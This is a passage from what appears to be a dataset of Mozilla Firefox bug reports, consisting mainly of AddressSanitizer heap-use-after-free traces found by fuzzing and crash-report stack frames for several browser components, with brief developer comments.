#6 0x7fbb20bc261a in nsJSContext::CycleCollectNow(nsICycleCollectorListener*) /src/dom/base/nsJSEnvironment.cpp:1414:3
#7 0x7fbb235682b9 in mozilla::dom::FuzzingFunctions_Binding::cycleCollect(JSContext*, unsigned int, JS::Value*) /src/obj-firefox/dom/bindings/FuzzingFunctionsBinding.cpp:66:3
#8 0x7fbb2b3dba37 in CallJSNative /src/js/src/vm/Interpreter.cpp:442:13
#9 0x7fbb2b3dba37 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /src/js/src/vm/Interpreter.cpp:534
#10 0x7fbb2b3c3e4a in CallFromStack /src/js/src/vm/Interpreter.cpp:593:10
#11 0x7fbb2b3c3e4a in Interpret(JSContext*, js::RunState&) /src/js/src/vm/Interpreter.cpp:3075
#12 0x7fbb2b3a5e78 in js::RunScript(JSContext*, js::RunState&) /src/js/src/vm/Interpreter.cpp:422:10
#13 0x7fbb2b3dc3a6 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /src/js/src/vm/Interpreter.cpp:562:13
#14 0x7fbb2b3ddff2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /src/js/src/vm/Interpreter.cpp:605:8
#15 0x7fbb2bfc3619 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /src/js/src/jsapi.cpp:2621:10
#16 0x7fbb23268f39 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
#17 0x7fbb244d97b2 in HandleEvent<mozilla::dom::EventTarget *> /src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#18 0x7fbb244d97b2 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /src/dom/events/EventListenerManager.cpp:1038
#19 0x7fbb244dbde3 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /src/dom/events/EventListenerManager.cpp:1239:17
#20 0x7fbb244bbea0 in HandleEvent /src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5
#21 0x7fbb244bbea0 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /src/dom/events/EventDispatcher.cpp:351
#22 0x7fbb244ba0c8 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /src/dom/events/EventDispatcher.cpp:553:16
#23 0x7fbb244c0d13 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /src/dom/events/EventDispatcher.cpp:1048:11
previously allocated by thread T0 (file:// Content) here:
#0 0x55bc21392d63 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x55bc213c75fd in moz_xmalloc /src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7fbb25f1ba8b in operator new /src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7fbb25f1ba8b in mozilla::dom::IDBOpenDBRequest::CreateForWindow(JSContext*, mozilla::dom::IDBFactory*, nsPIDOMWindowInner*, JS::Handle<JSObject*>) /src/dom/indexedDB/IDBRequest.cpp:400
#4 0x7fbb25f18b59 in mozilla::dom::IDBFactory::OpenInternal(JSContext*, nsIPrincipal*, nsTSubstring<char16_t> const&, mozilla::dom::Optional<unsigned long> const&, mozilla::dom::Optional<mozilla::dom::StorageType> const&, bool, mozilla::dom::CallerType, mozilla::ErrorResult&) /src/dom/indexedDB/IDBFactory.cpp:735:9
#5 0x7fbb25f1aad1 in mozilla::dom::IDBFactory::Open(JSContext*, nsTSubstring<char16_t> const&, mozilla::dom::IDBOpenDBOptions const&, mozilla::dom::CallerType, mozilla::ErrorResult&) /src/dom/indexedDB/IDBFactory.cpp:476:10
#6 0x7fbb23a70d5a in mozilla::dom::IDBFactory_Binding::open(JSContext*, JS::Handle<JSObject*>, mozilla::dom::IDBFactory*, JSJitMethodCallArgs const&) /src/obj-firefox/dom/bindings/IDBFactoryBinding.cpp:282:76
#7 0x7fbb23c602d1 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /src/dom/bindings/BindingUtils.cpp:3144:13
#8 0x7fbb2b3dba37 in CallJSNative /src/js/src/vm/Interpreter.cpp:442:13
#9 0x7fbb2b3dba37 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /src/js/src/vm/Interpreter.cpp:534
#10 0x7fbb2c53f912 in js::jit::DoCallFallback(JSContext*, js::jit::BaselineFrame*, js::jit::ICCall_Fallback*, unsigned int, JS::Value*, JS::MutableHandle<JS::Value>) /src/js/src/jit/BaselineIC.cpp:3775:10
#11 0x7fbad2585887 (<unknown module>)
#12 0x63100109f537 (<unknown module>)
#13 0x7fbad25834de (<unknown module>)
#14 0x7fbb2c72e5cb in EnterBaseline /src/js/src/jit/BaselineJIT.cpp:111:5
#15 0x7fbb2c72e5cb in js::jit::EnterBaselineAtBranch(JSContext*, js::InterpreterFrame*, unsigned char*) /src/js/src/jit/BaselineJIT.cpp:189
#16 0x7fbb2b3cbddd in Interpret(JSContext*, js::RunState&) /src/js/src/vm/Interpreter.cpp:1982:24
#17 0x7fbb2b3a5e78 in js::RunScript(JSContext*, js::RunState&) /src/js/src/vm/Interpreter.cpp:422:10
#18 0x7fbb2b3dc3a6 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /src/js/src/vm/Interpreter.cpp:562:13
#19 0x7fbb2b3ddff2 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /src/js/src/vm/Interpreter.cpp:605:8
#20 0x7fbb2bfc3619 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /src/js/src/jsapi.cpp:2621:10
#21 0x7fbb23268f39 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
#22 0x7fbb244d97b2 in HandleEvent<mozilla::dom::EventTarget *> /src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#23 0x7fbb244d97b2 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /src/dom/events/EventListenerManager.cpp:1038
SUMMARY: AddressSanitizer: heap-use-after-free /src/xpcom/base/nsISupportsImpl.cpp:45:10 in IsCurrentThread
Shadow bytes around the buggy address:
0x0c2280088310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280088320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280088330: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c2280088340: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c2280088350: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
=>0x0c2280088360: fd fd fd fd fd fd fd fd[fd]fd fd fd fd fd fd fd
0x0c2280088370: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c2280088380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c2280088390: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800883a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c22800883b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==8994==ABORTING
|
|
1,539,535 | 14,015,203 |
This bug is for crash report bp-04f73f3a-30be-4ba8-8312-3b3400190327.
```
Top 10 frames of crashing thread:
0 xul.dll void mozilla::dom::RemoteWorkerChild::CloseWorkerOnMainThread dom/workers/remoteworkers/RemoteWorkerChild.cpp:459
1 xul.dll nsresult mozilla::detail::RunnableFunction<`lambda at z:/task_1553215353/build/src/dom/workers/remoteworkers/RemoteWorkerChild.cpp:525:9'>::Run xpcom/threads/nsThreadUtils.h:562
2 xul.dll nsresult mozilla::SchedulerGroup::Runnable::Run xpcom/threads/SchedulerGroup.cpp:295
3 xul.dll nsThread::ProcessNextEvent xpcom/threads/nsThread.cpp:1179
4 xul.dll NS_ProcessNextEvent xpcom/threads/nsThreadUtils.cpp:482
5 xul.dll void mozilla::ipc::MessagePump::Run ipc/glue/MessagePump.cpp:88
6 xul.dll MessageLoop::RunHandler ipc/chromium/src/base/message_loop.cc:308
7 xul.dll MessageLoop::Run ipc/chromium/src/base/message_loop.cc:290
8 xul.dll nsBaseAppShell::Run widget/nsBaseAppShell.cpp:137
9 xul.dll nsAppShell::Run widget/windows/nsAppShell.cpp:411
```
crash reports with this signature and MOZ_RELEASE_ASSERT(lock->mWorkerPrivate) added in bug 1530223 are newly appearing in firefox 67.
|
|
1,526,045 | 13,910,642 |
This bug is for crash report bp-8b436030-f2df-49bb-b712-298950190207.
```
Top 10 frames of crashing thread:
0 xul.dll struct already_AddRefed<ID2D1Brush> mozilla::gfx::DrawTargetD2D1::CreateBrushForPattern gfx/2d/DrawTargetD2D1.cpp:2065
1 xul.dll mozilla::gfx::DrawTargetD2D1::FillRect gfx/2d/DrawTargetD2D1.cpp:563
2 xul.dll void gfxSurfaceDrawable::DrawInternal gfx/thebes/gfxDrawable.cpp
3 xul.dll gfxSurfaceDrawable::Draw gfx/thebes/gfxDrawable.cpp:64
4 xul.dll static struct already_AddRefed<gfxDrawable> CreateSamplingRestrictedDrawable gfx/thebes/gfxUtils.cpp:321
5 xul.dll gfxUtils::DrawPixelSnapped gfx/thebes/gfxUtils.cpp:545
6 xul.dll mozilla::image::ImgDrawResult mozilla::image::RasterImage::DrawInternal image/RasterImage.cpp:1367
7 xul.dll mozilla::image::RasterImage::Draw image/RasterImage.cpp:1429
8 xul.dll static mozilla::image::ImgDrawResult DrawImageInternal layout/base/nsLayoutUtils.cpp:6584
9 xul.dll nsLayoutUtils::DrawBackgroundImage layout/base/nsLayoutUtils.cpp:6798
```
there are still a number of [@ mozilla::gfx::DrawTargetD2D1::CreateBrushForPattern] content crashes after the patches from the "see also" bugs have gone into firefox 66.0b5 (the volume has noticeably reduced though).
the stack from this particular report is the most common remaining one, but there are others too: https://bit.ly/2TxLYWW
|
|
1,534,749 | 13,982,437 |
In a number of places we assume the compositor thread is present, but shutdown may have already begun. We should ensure we actually have a message loop first.
|
|
1,535,612 | 13,988,746 |
Testcase found while fuzzing mozilla-central rev 4d62ab0e31fd.
A build with --enable-fuzzing is required in order to to reproduce this issue.
==8893==ERROR: AddressSanitizer: heap-use-after-free on address 0x6080000dbfb0 at pc 0x7f2dce91e3bb bp 0x7ffee06e6f10 sp 0x7ffee06e6f08
READ of size 8 at 0x6080000dbfb0 thread T0 (file:// Content)
#0 0x7f2dce91e3ba in GetWrapperMaybeDead /builds/worker/workspace/build/src/obj-firefox/dist/include/nsWrapperCache.h:162:12
#1 0x7f2dce91e3ba in GetWrapperPreserveColor /builds/worker/workspace/build/src/obj-firefox/dist/include/nsWrapperCacheInlines.h:14
#2 0x7f2dce91e3ba in nsWrapperCache::GetWrapper() const /builds/worker/workspace/build/src/obj-firefox/dist/include/nsWrapperCacheInlines.h:27
#3 0x7f2dd478a39c in DoGetOrCreateDOMReflector<mozilla::css::Rule, mozilla::dom::binding_detail::eWrapIntoContextCompartment> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/BindingUtils.h:1051:26
#4 0x7f2dd478a39c in GetOrCreateDOMReflector<mozilla::css::Rule> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/BindingUtils.h:1126
#5 0x7f2dd478a39c in mozilla::dom::CSSRule_Binding::get_parentRule(JSContext*, JS::Handle<JSObject*>, mozilla::css::Rule*, JSJitGetterCallArgs) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CSSRuleBinding.cpp:146
#6 0x7f2dd604fc50 in bool mozilla::dom::binding_detail::GenericGetter<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3040:13
#7 0x7f2ddd77fac7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#8 0x7f2ddd77fac7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#9 0x7f2ddd784380 in InternalCall /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:589:10
#10 0x7f2ddd784380 in Call /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605
#11 0x7f2ddd784380 in js::CallGetter(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:729
#12 0x7f2ddddba2fa in CallGetter /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2240:12
#13 0x7f2ddddba2fa in GetExistingProperty<js::CanGC> /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2292
#14 0x7f2ddddba2fa in NativeGetPropertyInline<js::CanGC> /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2541
#15 0x7f2ddddba2fa in js::NativeGetProperty(JSContext*, JS::Handle<js::NativeObject*>, JS::Handle<JS::Value>, JS::Handle<JS::PropertyKey>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/NativeObject.cpp:2578
#16 0x7f2ddd78ca67 in GetProperty /builds/worker/workspace/build/src/js/src/vm/ObjectOperations-inl.h:117:10
#17 0x7f2ddd78ca67 in GetProperty /builds/worker/workspace/build/src/js/src/vm/ObjectOperations-inl.h:124
#18 0x7f2ddd78ca67 in js::GetProperty(JSContext*, JS::Handle<JS::Value>, JS::Handle<js::PropertyName*>, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:4486
#19 0x7f2ddd7686bb in GetPropertyOperation /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:215:10
#20 0x7f2ddd7686bb in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:2762
#21 0x7f2ddd74a5b8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#22 0x7f2ddd780436 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#23 0x7f2ddd782082 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#24 0x7f2dde393da9 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2623:10
#25 0x7f2dd5870044 in mozilla::dom::Function::Call(JSContext*, JS::Handle<JS::Value>, nsTArray<JS::Value> const&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/FunctionBinding.cpp:41:8
#26 0x7f2dd29d3dc9 in void mozilla::dom::Function::Call<nsCOMPtr<nsISupports> >(nsCOMPtr<nsISupports> const&, nsTArray<JS::Value> const&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/FunctionBinding.h:73:12
#27 0x7f2dd29d21f2 in nsGlobalWindowInner::RunTimeoutHandler(mozilla::dom::Timeout*, nsIScriptContext*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:5635:17
#28 0x7f2dd2e142e1 in mozilla::dom::TimeoutManager::RunTimeout(mozilla::TimeStamp const&, mozilla::TimeStamp const&, bool) /builds/worker/workspace/build/src/dom/base/TimeoutManager.cpp:980:44
#29 0x7f2dd2e12bbf in mozilla::dom::TimeoutExecutor::MaybeExecute() /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:177:11
#30 0x7f2dd2e17c5c in Notify /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp:241:5
#31 0x7f2dd2e17c5c in non-virtual thunk to mozilla::dom::TimeoutExecutor::Notify(nsITimer*) /builds/worker/workspace/build/src/dom/base/TimeoutExecutor.cpp
#32 0x7f2dce8d1235 in nsTimerImpl::Fire(int) /builds/worker/workspace/build/src/xpcom/threads/nsTimerImpl.cpp:562:40
#33 0x7f2dce8d0665 in nsTimerEvent::Run() /builds/worker/workspace/build/src/xpcom/threads/TimerThread.cpp:260:11
#34 0x7f2dce90eab2 in mozilla::ThrottledEventQueue::Inner::ExecuteRunnable() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:243:22
#35 0x7f2dce907717 in mozilla::ThrottledEventQueue::Inner::Executor::Run() /builds/worker/workspace/build/src/xpcom/threads/ThrottledEventQueue.cpp:80:15
#36 0x7f2dce8a9595 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#37 0x7f2dce8e8c41 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1179:14
#38 0x7f2dce8f104d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:482:10
#39 0x7f2dcfba07f4 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:110:5
#40 0x7f2dcfa76b4e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#41 0x7f2dcfa76b4e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#42 0x7f2dcfa76b4e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#43 0x7f2dd8edc0b3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#44 0x7f2ddd4a294e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:933:20
#45 0x7f2dcfa76b4e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#46 0x7f2dcfa76b4e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#47 0x7f2dcfa76b4e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#48 0x7f2ddd4a1adc in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:771:34
#49 0x560025c1c834 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#50 0x560025c1c834 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
#51 0x7f2df2133b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
0x6080000dbfb0 is located 16 bytes inside of 88-byte region [0x6080000dbfa0,0x6080000dbff8)
freed by thread T0 (file:// Content) here:
#0 0x560025be99e2 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7f2dce6db058 in MaybeKillObject /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2428:29
#2 0x7f2dce6db058 in SnowWhiteKiller::Visit(nsPurpleBuffer&, nsPurpleBufferEntry*) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2457
#3 0x7f2dce6af3b5 in void nsPurpleBuffer::VisitEntries<SnowWhiteKiller>(SnowWhiteKiller&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:941:23
#4 0x7f2dce6b0b98 in nsCycleCollector::FreeSnowWhiteWithBudget(js::SliceBudget&) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2622:14
#5 0x7f2dd0d00d09 in AsyncFreeSnowWhite::Run() /builds/worker/workspace/build/src/js/xpconnect/src/XPCJSRuntime.cpp:142:9
#6 0x7f2dce90c772 in IdleRunnableWrapper::Run() /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:327:22
#7 0x7f2dce8e8c41 in nsThread::ProcessNextEvent(bool, bool*) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1179:14
#8 0x7f2dce8f104d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:482:10
#9 0x7f2dcfba07ff in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
#10 0x7f2dcfa76b4e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#11 0x7f2dcfa76b4e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#12 0x7f2dcfa76b4e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#13 0x7f2dd8edc0b3 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#14 0x7f2ddd4a294e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:933:20
#15 0x7f2dcfa76b4e in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#16 0x7f2dcfa76b4e in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#17 0x7f2dcfa76b4e in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#18 0x7f2ddd4a1adc in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:771:34
#19 0x560025c1c834 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#20 0x560025c1c834 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
#21 0x7f2df2133b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
previously allocated by thread T0 (file:// Content) here:
#0 0x560025be9d63 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x560025c1e5fd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7f2dd9494fad in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7f2dd9494fad in mozilla::ServoCSSRuleList::GetRule(unsigned int) /builds/worker/workspace/build/src/layout/style/ServoCSSRuleList.cpp:77
#4 0x7f2dd94b525b in InsertRuleInternal /builds/worker/workspace/build/src/layout/style/StyleSheet.cpp:1121:32
#5 0x7f2dd94b525b in mozilla::StyleSheet::InsertRule(nsTSubstring<char16_t> const&, unsigned int, nsIPrincipal&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/layout/style/StyleSheet.cpp:485
#6 0x7f2dd47abfaa in mozilla::dom::CSSStyleSheet_Binding::insertRule(JSContext*, JS::Handle<JSObject*>, mozilla::StyleSheet*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/CSSStyleSheetBinding.cpp:210:25
#7 0x7f2dd6058ec1 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3144:13
#8 0x7f2ddd77fac7 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#9 0x7f2ddd77fac7 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#10 0x7f2ddd7671c7 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:593:10
#11 0x7f2ddd7671c7 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3075
#12 0x7f2ddd74a5b8 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#13 0x7f2ddd780436 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#14 0x7f2ddd782082 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#15 0x7f2dde393da9 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2623:10
#16 0x7f2dd56634a9 in mozilla::dom::EventListener::HandleEvent(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventListenerBinding.cpp:52:8
#17 0x7f2dd68d14e2 in HandleEvent<mozilla::dom::EventTarget *> /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventListenerBinding.h:66:12
#18 0x7f2dd68d14e2 in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1038
#19 0x7f2dd68d3b13 in mozilla::EventListenerManager::HandleEventInternal(nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event**, mozilla::dom::EventTarget*, nsEventStatus*, bool) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1239:17
#20 0x7f2dd68b3c90 in HandleEvent /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/EventListenerManager.h:355:5
#21 0x7f2dd68b3c90 in mozilla::EventTargetChainItem::HandleEvent(mozilla::EventChainPostVisitor&, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:351
#22 0x7f2dd68b1eb8 in mozilla::EventTargetChainItem::HandleEventTargetChain(nsTArray<mozilla::EventTargetChainItem>&, mozilla::EventChainPostVisitor&, mozilla::EventDispatchingCallback*, mozilla::ELMCreationDetector&) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:553:16
#23 0x7f2dd68b8b03 in mozilla::EventDispatcher::Dispatch(nsISupports*, nsPresContext*, mozilla::WidgetEvent*, mozilla::dom::Event*, nsEventStatus*, mozilla::EventDispatchingCallback*, nsTArray<mozilla::dom::EventTarget*>*) /builds/worker/workspace/build/src/dom/events/EventDispatcher.cpp:1048:11
#24 0x7f2dd97720b7 in nsDocumentViewer::LoadComplete(nsresult) /builds/worker/workspace/build/src/layout/base/nsDocumentViewer.cpp:1102:7
#25 0x7f2ddc61f03c in nsDocShell::EndPageLoad(nsIWebProgress*, nsIChannel*, nsresult) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:6587:21
SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/nsWrapperCache.h:162:12 in GetWrapperMaybeDead
Shadow bytes around the buggy address:
0x0c10800137a0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 05 fa
0x0c10800137b0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
0x0c10800137c0: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x0c10800137d0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
0x0c10800137e0: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 00
